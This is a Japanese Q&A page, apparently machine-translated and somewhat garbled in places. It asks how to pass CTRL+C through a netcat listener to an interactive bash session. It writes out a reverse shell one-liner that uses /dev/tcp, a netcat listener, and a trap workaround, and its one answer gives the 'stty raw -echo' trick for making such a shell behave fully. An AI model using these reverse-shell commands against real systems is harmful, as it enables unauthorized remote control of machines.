TCPソケットを介してCTRL + c特殊文字をインタラクティブbashに送信する方法は?

TCPソケットを介してCTRL + c特殊文字をインタラクティブbashに送信する方法は?

TCPネットワークを介して対話型シェルを使用していますが、bashCTRL + cシーケンスをリモートで送信する方法はわかりませんbash

まずnetcatインスタンスを実行します(ここでリモートbashと対話します)。

nc -nvlp 8000

その後、リモートで実行します(簡単にするためにlocalhostを使用するので、他の端末でローカルで試すことができます)。

bash -i >& /dev/tcp/localhost/8000 0>&1

netcat端末に表示される対話型bashを使用してコマンドを送信できるようになり、コマンドが実行され、結果が表示されます。

私がまだ理解していないのは、CTRL + cシーケンスをリモートbashに伝播し、プロセスでそれを無視する方法ですnetcat


これまでに試したことは次のとおりです。

nc -nvlp 8000 & trap "printf '\003' >/proc/$!/fd/0" INT; fg; trap 0 INT

これはnetcatバックグラウンドで開始して設定し、受信するとtrapファイル終了シーケンス(0x03)をnetcatの標準入力として出力します。SIGINT

次に、このfgコマンドを使用してnetcat対話型セッションを開始できるように、プロセスをフォアグラウンドにインポートします。コマンドの実行は正常に機能しますが、CTRL + cシーケンスを使用すると戻りコードで終了し、netcatコンソールまたは端末に何も印刷されません。130netcatbash

最後のトラップはSIGINTハンドラをリセットします。

プロセスは成功を示すbash戻りコードで終わります0

これを行う方法についてのアイデアはありますか?

答え1

これが必要なのかどうかはわかりませんが、netcatプロセスをバックグラウンドに(CTRL + Zを押す)と入力してstty raw -echoプロセスを再開できます。今は大丈夫でしょう。

関連情報